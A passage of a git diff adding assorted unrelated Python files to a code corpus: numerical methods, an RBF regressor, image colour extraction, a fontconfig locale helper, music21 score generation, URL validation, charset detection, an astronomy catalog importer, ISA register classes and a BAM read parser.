itr, diffs +x, itr, diffs = false_position( 0, 2, 1e-10, 300, func) +print(x) +print(len(itr)) +plt.plot(itr, diffs) +plt.gca().set_yscale('log') +plt.grid() +plt.title('False Position Convergence') +plt.ylabel('log( |f(x_n)| )') +plt.xlabel('step, n') +plt.savefig('Problem4c.png') +plt.show() diff --git a/pool/shard009/Python/0080583_RBFN.py b/pool/shard009/Python/0080583_RBFN.py new file mode 100644 index 0000000000000000000000000000000000000000..3eca3d9da6ea65d0d6902d97107ec98d57e41aa4 --- /dev/null +++ b/pool/shard009/Python/0080583_RBFN.py @@ -0,0 +1,69 @@ +from scipy import * +from scipy.linalg import norm, pinv +import numpy as np + +from matplotlib import pyplot as plt + + +class RBF: + def __init__(self, indim, numCenters, outdim): + self.indim = indim + self.outdim = outdim + self.numCenters = numCenters + self.centers = [random.uniform(-1, 1, indim) for i in xrange(numCenters)] + self.beta = 8 + self.W = random.random((self.numCenters, self.outdim)) + + def _basisfunc(self, c, d): + assert len(d) == self.indim + return exp(-self.beta * norm(c - d) ** 2) + + def _calcAct(self, X): + # calculate activations of RBFs + G = zeros((X.shape[0], self.numCenters), float) + for ci, c in enumerate(self.centers): + for xi, x in enumerate(X): + G[xi, ci] = self._basisfunc(c, x) + return G + + def train(self, X, Y): + """ X: matrix of dimensions n x indim + y: column vector of dimension n x 1 """ + + # choose random center vectors from training set + rnd_idx = random.permutation(X.shape[0])[:self.numCenters] + self.centers = [X[i, :] for i in rnd_idx] + + # print "center", self.centers + # calculate activations of RBFs + G = self._calcAct(X) + # print G + + # calculate output weights (pseudoinverse) + self.W = dot(pinv(G), Y) + + def test(self, X): + """ X: matrix of dimensions n x indim """ + + G = self._calcAct(X) + Y = dot(G, self.W) + return Y + + +if __name__ == '__main__': + n = 100 + x = mgrid[-1:1:complex(0, n)].reshape(n, 1) + # set y and add random noise + y = sin(3 * (x + 0.5) ** 3 - 1) + # y += random.normal(0, 0.1, y.shape) + + # rbf regression + rbf = RBF(1, 10, 1) + rbf.train(x, y) + z = rbf.test(x) + + # print (z) + # print (y) + + out = z - y + print (out.var()) diff --git a/pool/shard009/Python/0080585_LUV_extraction.py b/pool/shard009/Python/0080585_LUV_extraction.py new file mode 100644 index 0000000000000000000000000000000000000000..b75973e64c755e85fc24ba94dc3d33b974589574 --- /dev/null +++ b/pool/shard009/Python/0080585_LUV_extraction.py @@ -0,0 +1,55 @@ +""" +Code to go through the image dataset and save LUV matrix associated +For the 40 percent sampled data, saves the matrix at ../../data/LUV_40p.npy +""" + +from scipy import misc +from skimage import color +from skimage import data +from PIL import Image +import numpy as np +import os +import PIL + + +path = "/home/avikalp/semester6/BS/twitter_images/img" + +good_indices = list(np.load('good_indices.npy')) +bad_indices = [] +IV = [] +IU = [] +IL = [] +LUV = [] +subset_indices = np.load('subset40p_indices.npy') + + + +for count in subset_indices: + print (count) + current_image = path + str(count) + img = Image.open(current_image) + # img = misc.imread(current_image) + img = img.resize((128, 128), Image.ANTIALIAS) + # img.show() + # print (img.shape) + img = np.array(img) + # if img.shape[2] != 3: + # bad_indices.append(count) + # good_indices.remove(count) + # continue + arr = color.rgb2luv(img) + LUV.append(arr) + # IV_Current = arr[:,:,2] + # IV.append(IV_Current) + # IU_Current = arr[:,:,1] + # IU.append(IU_Current) + # IL_Current = arr[:,:,0] + # IL.append(IL_Current) + + +# # np.save('good_indices.npy', good_indices) +# # np.save('bad_indices.npy', bad_indices) +# np.save('LUV_V_40p.npy',IV) +# np.save('LUV_U_40p.npy',IU) +# np.save('LUV_L_40p.npy',IL) +np.save('LUV_40p.npy', LUV) \ No newline at end of file diff --git a/pool/shard009/Python/0080590_FontConfig.py b/pool/shard009/Python/0080590_FontConfig.py new file mode 100644 index 0000000000000000000000000000000000000000..7088e4d3ed695a6120ae1391f0b4ee9e5b262f28 --- /dev/null +++ b/pool/shard009/Python/0080590_FontConfig.py @@ -0,0 +1,149 @@ +# FontConfig.py (c) 2006 Canonical, released under the GPL +# +# This file implements the fontconfig hack +# +# The problem is that different languages have different needs for +# fontconfig preferences. While it would be really good to have a single +# config file it seems to be not feasible right now for practial purposes +# (see https://wiki.ubuntu.com/DapperL10nSprint for more information) +# +# so this file implements a hack to add prefered languages based on the +# configuration we got from the CJK community + +import glob +import string +import os.path + +from LocaleInfo import LocaleInfo +import macros +from utils import language2locale + +class ExceptionMultipleConfigurations(Exception): + " error when multiple languages are symlinked " + pass +class ExceptionUnconfigured(Exception): + " error if no configuration is set " + pass +class ExceptionNoConfigForLocale(Exception): + " error if there is no config for the given locale " + pass + +class FontConfigHack(object): + """ abstract the fontconfig hack """ + def __init__(self, + datadir="/usr/share/language-selector/", + globalConfDir="/etc/fonts"): + self.datadir="%s/fontconfig" % datadir + self._datadir = datadir + self.globalConfDir=globalConfDir + self.li = LocaleInfo("languagelist", datadir) + def _getLocaleCountryFromFileName(self, name): + """ + internal helper to extracr from our fontconfig filenames + of the form 69-language-selector-zh-tw.conf the locale + and country + + returns string of the form locale_COUTNRY (e.g. zh_TW) + """ + fname = os.path.splitext(os.path.basename(name))[0] + (head, ll, cc) = string.rsplit(fname, "-", 2) + return "%s_%s" % (ll, cc.upper()) + def getAvailableConfigs(self): + """ get the configurations we have as a list of languages + (returns a list of ['zh_CN','zh_TW']) + """ + res = [] + pattern = "%s/conf.avail/69-language-selector-*" % self.globalConfDir + for name in glob.glob(pattern): + res.append(self._getLocaleCountryFromFileName(name)) + return res + def getCurrentConfig(self): + """ returns the current language configuration as a string (e.g. zh_CN) + + if the configfile is not a symlink it raises a + ExceptionNotSymlink exception + if the file dosn't exists raise a + ExceptionUnconfigured exception + """ + pattern = "%s/conf.d/69-language-selector-*" % self.globalConfDir + current_config = glob.glob(pattern) + if len(current_config) == 0: + raise ExceptionUnconfigured() + if len(current_config) > 1: + raise ExceptionMultipleConfigurations() + return self._getLocaleCountryFromFileName(current_config[0]) + + def removeConfig(self): + """ removes the current fontconfig-voodoo configuration + and do some sanity checking + """ + pattern = "%s/conf.d/*-language-selector-*" % self.globalConfDir + for f in glob.glob(pattern): + if os.path.exists(f): + os.unlink(f) + + def setConfig(self, locale): + """ set the configuration for 'locale'. if locale can't be + found a NoConfigurationForLocale exception it thrown + """ + macr = macros.LangpackMacros(self._datadir, locale) + locale = macr["LOCALE"] + # check if we have a config + if locale not in self.getAvailableConfigs(): + raise ExceptionNoConfigForLocale() + # remove old symlink + self.removeConfig() + # do the symlinks, link from /etc/fonts/conf.avail in /etc/fonts/conf.d + basedir = "%s/conf.avail/" % self.globalConfDir + for pattern in ["*-language-selector-%s-%s.conf" % (macr["LCODE"], macr["CCODE"].lower()), + "*-language-selector-%s.conf" % macr["LCODE"], + ]: + for f in glob.glob(os.path.join(basedir,pattern)): + fname = os.path.basename(f) + from_link = os.path.join(self.globalConfDir,"conf.avail",fname) + to_link = os.path.join(self.globalConfDir, "conf.d", fname) + os.symlink(from_link, to_link) + return True + + def setConfigBasedOnLocale(self): + """ set the configuration based on the locale in LocaleInfo. If + no configuration is found the fontconfig config is set to + 'none' + Can throw a exception + """ + lang = self.li.getUserDefaultLanguage()[1] + if len(lang) == 0: + lang = self.li.getSystemDefaultLanguage()[1] + locale = language2locale(lang) + self.setConfig(locale) + + +if __name__ == "__main__": + fc = FontConfigHack() + # available + print "available: ", fc.getAvailableConfigs() + + # current + try: + config = fc.getCurrentConfig() + except ExceptionUnconfigured: + print "unconfigured" + + # set config + print "set config: ", fc.setConfig("zh_CN") + print "current: ", fc.getCurrentConfig() + + # auto mode + try: + print "run auto mode: ", fc.setConfigBasedOnLocale() + except ExceptionNoConfigForLocale: + print "no config for this locale" + + # remove + print "removeConfig()" + fc.removeConfig() + try: + config = fc.getCurrentConfig() + print "ERROR: have config after calling removeConfig()" + except ExceptionUnconfigured: + print "unconfigured (as expected)" diff --git a/pool/shard009/Python/0080593_mikrocliche03.py b/pool/shard009/Python/0080593_mikrocliche03.py new file mode 100644 index 0000000000000000000000000000000000000000..27de9def75f2c6dcfa13e01035ae6240b539ea65 --- /dev/null +++ b/pool/shard009/Python/0080593_mikrocliche03.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from music21 import * +import random +import copy + + + +n_compassos=16 + +# Criamos um objeto score (partitura) para usar como fluxo principal +partitura=stream.Score() + +# Separamos o fluxo em duas partes: duas pautas +mao_esquerda=stream.PartStaff() +mao_direita=stream.PartStaff() + + +#Criamos o primeiro compasso para cada pauta +compasso1L=stream.Measure(number=1) +compasso1R=stream.Measure(number=1) + +# Necessitamos formatar o layout do staff para agrupar as duas pautas +compasso1L.insert(0,layout.SystemLayout()) +compasso1L.insert(0,layout.StaffLayout(staffNumber=2)) +compasso1R.insert(0,layout.SystemLayout()) + +# Inserindo a clave, a formula de compasso inicial +compasso1L.insert(0,clef.BassClef()) +compasso1L.insert(0,meter.TimeSignature('4/4')) +mao_esquerda.insert(0,compasso1L) + +# Inserindo a clave, a formula de compasso inicial +compasso1R.insert(0,clef.TrebleClef()) +compasso1R.insert(0,meter.TimeSignature('4/4')) +mao_direita.insert(0,compasso1R) + + +########## escalas + +pitchList = ["C4","D4","F4","G4","A4","C5"] +PentaScale = scale.AbstractScale() +PentaScale.buildNetworkFromPitches([pitch.Pitch(p) for p in pitchList]) +escala_melodia = PentaScale._net.realizePitch('D5') + +escala2 = scale.DorianScale('D') +escala_baixo=escala2.getPitches('d2', 'd3') +TAM_linha_baixo=len(escala_baixo) + + +random.shuffle(escala_baixo) +escala_melodia.reverse() +################################### + + +for n in xrange(n_compassos): + compasso_esquerdo=stream.Measure(number=n) + compasso_direito=stream.Measure(number=n) + rotacao1=random.randint(0,100) + rotacao2=random.randint(0,100) + for t in xrange(8): + baixo=note.Note(escala_baixo[(rotacao1+t)%TAM_linha_baixo], + quarterLength=.5) + compasso_esquerdo.append(baixo) + + melodia=note.Note(escala_melodia[(rotacao2+t)%6], + quarterLength=.5) + compasso_direito.append(melodia) + + + + mao_esquerda.insert(n,compasso_esquerdo) + mao_direita.insert(n,compasso_direito) + + +# Formatando a entrada das partes na camada de layout da partitura +partitura.insert(0,mao_direita) +partitura.insert(0,mao_esquerda) + + + + +##################### processamento +P='lily.pdf' +M='midi' +T='text' +X='musicxml' + +partitura.show(X) + diff --git a/pool/shard009/Python/0080594_validators.py b/pool/shard009/Python/0080594_validators.py new file mode 100644 index 0000000000000000000000000000000000000000..82872e95bcb7cf7a29516f5cfbb89350bcf9f10a --- /dev/null +++ b/pool/shard009/Python/0080594_validators.py @@ -0,0 +1,94 @@ +# -*- coding: utf-8 -*- +""" +:copyright: (c) 2013-2021 by Mike Taylor and Kartik Prabhu +:license: MIT, see LICENSE for more details. + +IndieWeb URL Validation + +Regex and URL validators borrowed from django.core.validators +https://github.com/django/django/blob/master/django/core/validators.py + + Copyright (c) Django Software Foundation and individual contributors. + All rights reserved. + BSD Licensed +""" +import re + +from urllib.parse import urlsplit, urlunsplit + + +class RegexValidator(object): # pylint: disable=R0205 + """Abstract Class to validate URLs using given regular expressions + """ + regex = '' + message = 'Enter a valid value.' + + def __init__(self, regex=None, message=None): + if regex is not None: + self.regex = regex + if message is not None: + self.message = message + + # Compile the regex if it was not passed pre-compiled. + if isinstance(self.regex, str): + self.regex = re.compile(self.regex) + + def __call__(self, value): + """ + Validates that the input matches the regular expression. + """ + if not self.regex.search(value): + raise ValueError(self.message) + + def __eq__(self, other): + return isinstance(other, RegexValidator) and (self.regex == other.regex) and (self.message == other.message) + + +class URLValidator(RegexValidator): # pylint: disable=R0903 + """URL Validation using a regular expression + """ + regex = re.compile( + r'^(?:[a-z0-9\.\-]*)://' # scheme is validated separately + r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain... + r'localhost|' # localhost... + r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|' # ...or ipv4 + r'\[?[A-F0-9]*:[A-F0-9:]+\]?)' # ...or ipv6 + r'(?::\d+)?' # optional port + r'(?:/?|[/?]\S+)$', re.IGNORECASE) + message = 'Enter a valid URL.' + # check only http and https + schemes = ['http', 'https'] + + def __init__(self, schemes=None, **kwargs): + super(URLValidator, self).__init__(**kwargs) + if schemes is not None: + self.schemes = schemes + + def __call__(self, value): + e = ValueError(self.message) + # Check for None, and empty string + if value in (None, ''): + raise e + value = str(value) + # Check first if the scheme is valid + scheme = value.split('://')[0].lower() + if scheme not in self.schemes: + raise e + + # Then check full URL + try: + super(URLValidator, self).__call__(value) + except ValueError: + # Trivial case failed. Try for possible IDN domain + if value: + scheme, netloc, path, query, fragment = urlsplit(value) + try: + netloc = netloc.encode('idna').decode('ascii') # IDN -> ACE + except UnicodeError: # invalid domain part + raise e + url = urlunsplit((scheme, netloc, path, query, fragment)) + super(URLValidator, self).__call__(url) + else: + raise e + else: + url = value diff --git a/pool/shard009/Python/0080604_mbcharsetprober.py b/pool/shard009/Python/0080604_mbcharsetprober.py new file mode 100644 index 0000000000000000000000000000000000000000..6b2ef91d376cca8e323d33d668ec1a9f12633df5 --- /dev/null +++ b/pool/shard009/Python/0080604_mbcharsetprober.py @@ -0,0 +1,95 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# Proofpoint, Inc. +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import MachineState, ProbingState + + +class MultiByteCharSetProber(CharSetProber): + """ + MultiByteCharSetProber + """ + + def __init__(self, lang_filter=None): + super().__init__(lang_filter=lang_filter) + self.distribution_analyzer = None + self.coding_sm = None + self._last_char = [0, 0] + + def reset(self): + super().reset() + if self.coding_sm: + self.coding_sm.reset() + if self.distribution_analyzer: + self.distribution_analyzer.reset() + self._last_char = [0, 0] + + @property + def charset_name(self): + raise NotImplementedError + + @property + def language(self): + raise NotImplementedError + + def feed(self, byte_str): + for i in range(len(byte_str)): + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug( + "%s %s prober hit error at byte %s", + self.charset_name, + self.language, + i, + ) + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() + if i == 0: + self._last_char[1] = byte_str[0] + self.distribution_analyzer.feed(self._last_char, char_len) + else: + self.distribution_analyzer.feed(byte_str[i - 1 : i + 1], char_len) + + self._last_char[0] = byte_str[-1] + + if self.state == ProbingState.DETECTING: + if self.distribution_analyzer.got_enough_data() and ( + self.get_confidence() > self.SHORTCUT_THRESHOLD + ): + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + return self.distribution_analyzer.get_confidence() diff --git a/pool/shard009/Python/0080614_importer.py b/pool/shard009/Python/0080614_importer.py new file mode 100644 index 0000000000000000000000000000000000000000..dce600ff4e91c9e242ab54d4fac7fdd0422d0507 --- /dev/null +++ b/pool/shard009/Python/0080614_importer.py @@ -0,0 +1,363 @@ +#!/usr/bin/env python +# -*- coding: utf8 -*- +# ***************************************************************** +# ** PTS -- Python Toolkit for working with SKIRT ** +# ** © Astronomical Observatory, Ghent University ** +# ***************************************************************** + +## \package pts.magic.catalog.importer Contains the CatalogImporter class. + +# ----------------------------------------------------------------- + +# Ensure Python 3 functionality +from __future__ import absolute_import, division, print_function + +# Import standard modules +import os +from config import Sequence + +# Import the relevant PTS classes and modules +from ..basics.catalogcoverage import CatalogCoverage +from ..tools import catalogs +from ...core.basics.configurable import OldConfigurable +from ...core.tools import introspection, tables +from ...core.tools import filesystem as fs +from ...core.tools.logging import log + +# ----------------------------------------------------------------- + +class CatalogImporter(OldConfigurable): + + """ + This class ... + """ + + def __init__(self, config=None): + + """ + The constructor ... + :param config: + :return: + """ + + # Call the constructor of the base class + super(CatalogImporter, self).__init__(config, "magic") + + # The image frame + self.frame = None + + # The name of the galaxy + self._has_dustpedia_catalog = None + self.galaxy_name = None + + # The galactic and stellar catalogs + self.galactic_catalog = None + self.stellar_catalog = None + + # Determine the path to the catalogs user directory (where the DustPedia catalogs are now stored) + self.catalogs_user_path = os.path.join(introspection.pts_user_dir, "magic", "catalogs") + + # ----------------------------------------------------------------- + + def run(self, frame): + + """ + This function ... + :param frame: + :return: + """ + + # 1. Call the setup function + self.setup(frame) + + # 2. Import the galactic catalog + self.import_galactic_catalog() + + # 3. Import the stellar catalog + self.import_stellar_catalog() + + # ----------------------------------------------------------------- + + def clear(self): + + """ + This function ... + :return: + """ + + # Set attributes to None + self.frame = None + self.galaxy_name = None + self.galactic_catalog = None + self.stellar_catalog = None + + # ----------------------------------------------------------------- + + def setup(self, frame): + + """ + This function ... + :param frame: + :return: + """ + + # Call the setup function of the base class + super(CatalogImporter, self).setup() + + # Set the frame + self.frame = frame + + # ----------------------------------------------------------------- + + def import_galactic_catalog(self): + + """ + This function ... + :return: + """ + + # Inform the user + log.info("Importing galactic catalog ...") + + # Use catalog file if specified + if self.config.galaxies.use_catalog_file: self.import_galactic_catalog_from_file() + elif self.has_dustpedia_catalog: self.import_galactic_dustpedia_catalog() + else: self.fetch_galactic_catalog() + + # ----------------------------------------------------------------- + + def import_stellar_catalog(self): + + """ + This function ... + :return: + """ + + # Inform the user + log.info("Importing stellar catalog ...") + + # Use catalog file if specified + if self.config.stars.use_catalog_file: self.import_stellar_catalog_from_file() + elif self.has_dustpedia_catalog: self.import_stellar_dustpedia_catalog() + else: self.fetch_stellar_catalog() + + # ----------------------------------------------------------------- + + @property + def has_dustpedia_catalog(self): + + """ + This function ... + :return: + """ + + # Avoid overhead when calling this function twice + if self._has_dustpedia_catalog is not None: return self._has_dustpedia_catalog + + # Get bounding box of the frame + bounding_box = self.frame.bounding_box() + + # Loop over all directories within the catalogs directory (different galaxies) + for galaxy_path in fs.directories_in_path(self.catalogs_user_path): + + # Get the galaxy name + galaxy_name = os.path.basename(galaxy_path) + + # Get the catalog coverage for this galaxy + coverage = CatalogCoverage(galaxy_name) + + # Check whether this galaxy matches the current frame + if coverage.matches(bounding_box): + + # Debug info + log.debug("Found a match with DustPedia catalog for galaxy " + galaxy_name) + + self._has_dustpedia_catalog = True + self.galaxy_name = galaxy_name + + break + + # If a break is not encountered + else: self._has_dustpedia_catalog = False + + # Return the answer + return self._has_dustpedia_catalog + + # ----------------------------------------------------------------- + + def import_galactic_catalog_from_file(self): + + """ + This function ... + :return: + """ + + # Determine the full path to the catalog file + path = self.full_input_path(self.config.galaxies.catalog_path) + + # Inform the user + log.info("Importing galactic catalog from file " + path + " ...") + + # Load the catalog + self.galactic_catalog = tables.from_file(path, format="ascii.commented_header") + + # ----------------------------------------------------------------- + + def import_stellar_catalog_from_file(self): + + """ + This function ... + :return: + """ + + # Determine the full path to the catalog file + path = self.full_input_path(self.config.stars.catalog_path) + + # Inform the user + log.info("Importing stellar catalog from file " + path + " ...") + + # Load the catalog + self.stellar_catalog = tables.from_file(path, format="ascii.commented_header") + + # ----------------------------------------------------------------- + + def import_galactic_dustpedia_catalog(self): + + """ + This function ... + :return: + """ + + # Inform the user + log.info("Importing galactic DustPedia catalog for " + self.galaxy_name) + + # Determine the path to the DustPedia galactic catalog for this galaxy + galaxy_path = os.path.join(self.catalogs_user_path, self.galaxy_name) + galactic_catalog_path = os.path.join(galaxy_path, "galaxies.cat") + + # Load the galactic catalog + self.galactic_catalog = tables.from_file(galactic_catalog_path) + + # ----------------------------------------------------------------- + + def import_stellar_dustpedia_catalog(self): + + """ + This function ... + :return: + """ + + # Inform the user + log.info("Importing stellar DustPedia catalog for " + self.galaxy_name) + + # Determine the path to the DustPedia stellar catalog for this galaxy + galaxy_path = os.path.join(self.catalogs_user_path, self.galaxy_name) + stellar_catalog_path = os.path.join(galaxy_path, "stars.cat") + + # Load the stellar catalog + self.stellar_catalog = tables.from_file(stellar_catalog_path) + + # ----------------------------------------------------------------- + + def fetch_galactic_catalog(self): + + """ + This function ... + :return: + """ + + # Inform the user + log.info("Fetching galaxy positions from an online catalog ...") + + # Create the galaxy catalog + self.galactic_catalog = catalogs.create_galaxy_catalog(self.frame) + + # Inform the user + log.debug("Number of galaxies: " + str(len(self.galactic_catalog))) + + # ----------------------------------------------------------------- + + def fetch_stellar_catalog(self): + + """ + This function ... + :return: + """ + + # Inform the user + log.info("Fetching star positions from online catalogs ...") + + # Check whether the 'catalogs' setting defines a single catalog name or a list of such names + if isinstance(self.config.stars.fetching.catalogs, basestring): catalog_list = [self.config.stars.fetching.catalogs] + elif isinstance(self.config.stars.fetching.catalogs, Sequence): catalog_list = self.config.stars.fetching.catalogs + else: raise ValueError("Invalid option for 'catalogs', should be a string or a list of strings") + + # Create the star catalog + self.stellar_catalog = catalogs.create_star_catalog(self.frame, catalog_list) + + # Inform the user + log.debug("Number of stars: " + str(len(self.stellar_catalog))) + + # ----------------------------------------------------------------- + + def write_galactic_catalog_to(self, path): + + """ + This function ... + :param path: + :return: + """ + + # Inform the user + log.info("Writing galactic catalog to " + path + " ...") + + # Write the catalog to file + tables.write(self.galactic_catalog, path, format="ascii.commented_header") + + # ----------------------------------------------------------------- + + def write_stellar_catalog_to(self, path): + + """ + This function ... + :param path: + :return: + """ + + # Inform the user + log.info("Writing stellar catalog to " + path + " ...") + + # Write the catalog to file + tables.write(self.stellar_catalog, path, format="ascii.commented_header") + + # ----------------------------------------------------------------- + + def write_galactic_catalog(self): + + """ + This function ... + :return: + """ + + # Determine the full path to the catalog file + path = self.full_output_path(self.config.writing.galactic_catalog_path) + + # Write + self.write_galactic_catalog_to(path) + + # ----------------------------------------------------------------- + + def write_stellar_catalog(self): + + """ + This function ... + :return: + """ + + # Determine the full path to the catalog file + path = self.full_output_path(self.config.writing.stellar_catalog_path) + + # Write + self.write_stellar_catalog_to(path) + +# ----------------------------------------------------------------- diff --git a/pool/shard009/Python/0080618_reg.py b/pool/shard009/Python/0080618_reg.py new file mode 100644 index 0000000000000000000000000000000000000000..695e952dfd485d048e2be338b819e974e8078bd1 --- /dev/null +++ b/pool/shard009/Python/0080618_reg.py @@ -0,0 +1,94 @@ +# Copyright 2017 CodiLime +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + +class BaseRegister: + """ + Represents an ISA register. Fields: + + - name: a name displayed for this register, should be unique. + - width: width in bits. + """ + + def __init__(self, name, width): + self.name = name + self.width = width + + def __str__(self): + return "${}".format(self.name) + + __repr__ = __str__ + + +class Register(BaseRegister): + """ + Represents a general-purpose, top-level ISA register. Writes to this + register will not be considered interesting on their own, and will be + converted wholly to SSA. + """ + + +class RegisterPC(BaseRegister): + """ + Represents a program counter register, ie. one that always points to + some place in the current bundle, and thus will return a known value + when read. + """ + + def __init__(self, name, width, anchor='start', offset=0): + super().__init__(name, width) + self.anchor = anchor + self.offset = offset + + +class RegisterSP(BaseRegister): + """ + Represents a hardware stack pointer register. + """ + + # XXX: does this warrant a special class? Might be better to handle it + # elsewhere. + + +# "You know what "special" means, right?" -- mupuf +class RegisterSpecial(BaseRegister): + """ + Represents a special register. Reads and writes of this register will be + considered to be interesting events, and will not be converted to SSA. + """ + + +class RegisterSplit(BaseRegister): + """ + Represents a split register, ie. one that is really multiple other + registers accessed together as a single entity. ``parts`` is a list + of (start bit, register) tuples. When accessed, the access is converted + to multiple smaller accesses to the parts. + """ + + def __init__(self, name, width, parts): + super().__init__(name, width) + self.parts = parts + + +class SubRegister(BaseRegister): + """ + Represents a subregister of another register. Defined by starting bit + position in the parent and width. + """ + + def __init__(self, name, parent, start, width): + super().__init__(name, width) + self.parent = parent + self.start = start diff --git a/pool/shard009/Python/0080620_BAMSequenceParser.py b/pool/shard009/Python/0080620_BAMSequenceParser.py new file mode 100644 index 0000000000000000000000000000000000000000..4d5b08a7a5e14fbe2d8a2fb58a4f1e44b5b34ddb --- /dev/null +++ b/pool/shard009/Python/0080620_BAMSequenceParser.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python2.7 +# -*- coding: utf-8 -*- + +""" +@package FastqSweeper +@brief Helper class parsing bam aligned sequence line in pysam compatible objects +@copyright [GNU General Public License v2](http://www.gnu.org/licenses/gpl-2.0.html) +@author Adrien Leger - 2015 +* +* +* +* [Github](https://github.com/a-slide) +* [Atlantic Gene Therapies - INSERM 1089] (http://www.atlantic-gene-therapies.fr/) +""" + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# + +# Standard library packages +from collections import OrderedDict +from re import compile as recompile + +# Third party package +import pysam + +# Local packages + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# +class BAMSequenceParser (object): + """Create a pysam compatible AlignedSegment from a raw bam line + """ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# + + #~~~~~~~FONDAMENTAL METHODS~~~~~~~# + + def __init__ (self, header, skip_secondary=True): + + print("\nParsing sam sequences") + + # Store defined variables + self.header = header + self.skip_secondary = skip_secondary + + # counters + self.count = {"total":0, "invalid":0, "primary":0, "secondary":0} + + # For cigar to tuple code conversion + self.cigar_to_code = {'M':0, 'I':1, 'D':2, 'N':3, 'S':4, 'H':5, 'P':6, '=':7, 'X':8} + self.cigar_regex = recompile("(\d+)([MIDNSHP=X])") + + def __str__ (self): + return "".join(["{}\t{}\n".format(i,j) for i, j in self.count.items()]) + + #~~~~~~~PUBLIC METHODS~~~~~~~# + + def parse_line (self, line): + + self.count["total"] += 1 + # Try bloc to skip to the next line in case a non standard line is found + try: + # Split the line and verify the number of fields + split_line = line.strip().split("\t") + assert len (split_line) >= 11, "Invalid number of field in bam aligned sequence" + + # Init an AlignedSegment + read = Read( + qname = split_line[0], + flag = int(split_line[1]), + rname = self.header.rname_to_refid(split_line[2]), + pos = int(split_line[3])-1, + mapq = int(split_line[4]), + cigar = self._cigarstring_to_tuple(split_line[5]), + rnext = self.header.rname_to_refid(split_line[6]), + pnext = int(split_line[7])-1, + seq = split_line[9], + qual = pysam.fromQualityString(split_line[10]), + tags = self._parse_tags(split_line [11:]) if len (split_line) >= 12 else tuple()) + + # skip the read if secondary and required + if read.is_secondary: + self.count["secondary"] += 1 + if self.skip_secondary: + return None + + # finally return the read + self.count["primary"] += 1 + return read + + except Exception as E: + print E + print "Invalid sequence line in bam: {}".format(line) + self.count["invalid"] += 1 + return None + + def _cigarstring_to_tuple (self, cigarstring): + """Transform the cigar string in a pysam compatible tuple""" + if cigarstring == "*": + return None + else: + return tuple([(self.cigar_to_code[y], int(x)) for x, y in self.cigar_regex.findall(cigarstring)]) + + def _parse_tags (self, tags_split): + """Parse the optional tag fields""" + tags = [] + + for tag in tags_split: + tag_split = tag.split(":") + key = tag_split[0] + value = int(tag_split[2]) if tag_split[1] == 'i' else tag_split[2] + tags.append((key, value,)) + + return tuple(tags) + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# +class Read (object): + """Wrapping class over a pysam AlignedSegment to surdefine, transform the init and + add dedicated methods""" +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# + + #~~~~~~~FONDAMENTAL METHODS~~~~~~~# + + def __init__ (self, qname, flag, rname, pos, mapq, cigar, rnext, pnext, seq, qual, tags): + """Create a pysam.AlignedSegment object and define fields""" + + self.read = pysam.AlignedSegment() + self.read.query_name = qname + self.read.flag = flag + self.read.reference_id = rname + self.read.reference_start = pos + self.read.mapping_quality = mapq + self.read.cigar = cigar + self.read.next_reference_id = rnext + self.read.next_reference_start = pnext + self.read.template_length = self.read.infer_query_length() if self.read.cigar else 0 + self.read.query_sequence = seq + self.read.query_qualities = qual + self.read.tags = tags + self.is_secondary = self.read.is_secondary + + def __str__ (self): + return str(self.read) + + #~~~~~~~PUBLIC METHODS~~~~~~~# + + def is_properly_mapped(self, min_mapq, min_match_size): + """Is properly mapped if mapped on e sequence with a mapq score higher the min_mapq + and a template lenght higher than min_match_size""" + return (self.read.tid != -1 and self.read.mapq >= min_mapq and self.read.template_length >= min_match_size) + + def to_bam (self): + return self.read + + 